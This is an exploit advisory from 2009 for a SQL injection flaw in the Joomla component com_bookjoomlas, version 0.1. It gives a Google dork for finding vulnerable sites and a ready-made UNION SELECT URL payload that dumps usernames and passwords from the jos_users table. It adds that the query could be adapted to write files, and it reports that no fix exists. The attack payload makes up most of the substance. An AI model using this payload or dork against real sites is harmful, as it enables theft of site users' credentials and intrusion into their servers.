Joomla Component com_bookjoomlas SQL Injection Vulnerability

******* Salvatore "drosophila" Fresta *******

[+] Application: Joomla Component com_bookjoomlas
[+] Version: 0.1
[+] Website: http://www.alikonweb.it

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Dork: inurl:"index.php?option=com_bookjoomlas"
[+] Date: 06 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]

---

[+] Menu

1) Bugs
2) Code
3) Fix

---

[+] Bugs

• [A] SQL Injection

[-] Security risk: low
[-] File affected: sub_commententry.php

This bug allows a privileged user to view username
and password of a registered user. Like all SELECT
vulnerable queries, this can be manipulate to write
files on system.

---

[+] Code

• [A] SQL Injection

http://www.site.com/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1
UNION ALL SELECT
1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16
FROM jos_users

---

[+] Fix

No fix.

---

–
Salvatore "drosophila" Fresta
CWNP444351